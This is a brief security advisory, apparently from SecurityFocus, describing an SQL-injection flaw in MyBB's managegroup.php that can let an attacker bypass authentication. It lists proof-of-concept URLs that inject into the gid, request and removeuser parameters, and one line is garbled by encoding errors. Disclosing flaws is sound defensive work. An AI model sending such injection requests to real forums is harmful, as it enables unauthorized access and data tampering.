20 lines
No EOL
838 B
Text
20 lines
No EOL
838 B
Text
source: https://www.securityfocus.com/bid/16689/info
|
|
|
|
MyBB is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
|
|
|
|
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
|
|
|
|
An attacker can exploit this issue to bypass the authentication mechanism and gain access as an arbitrary user.
|
|
|
|
http://www.example.com/mybb/managegroup.php?gid=8&action=do_joinrequests&request[sql]=accept
|
|
|
|
|
|
http://www.example.com/mybb/managegroup.php?gid=8'sql&action=joinrequests
|
|
|
|
|
|
http://www.example.com/mybb/managegroup.php?gid=8sql&action=do_manageusers
|
|
|
|
&removeuser[]=â??sql
|
|
|
|
|
|
http://www.example.com/mybb/managegroup.php?gid=8'sql |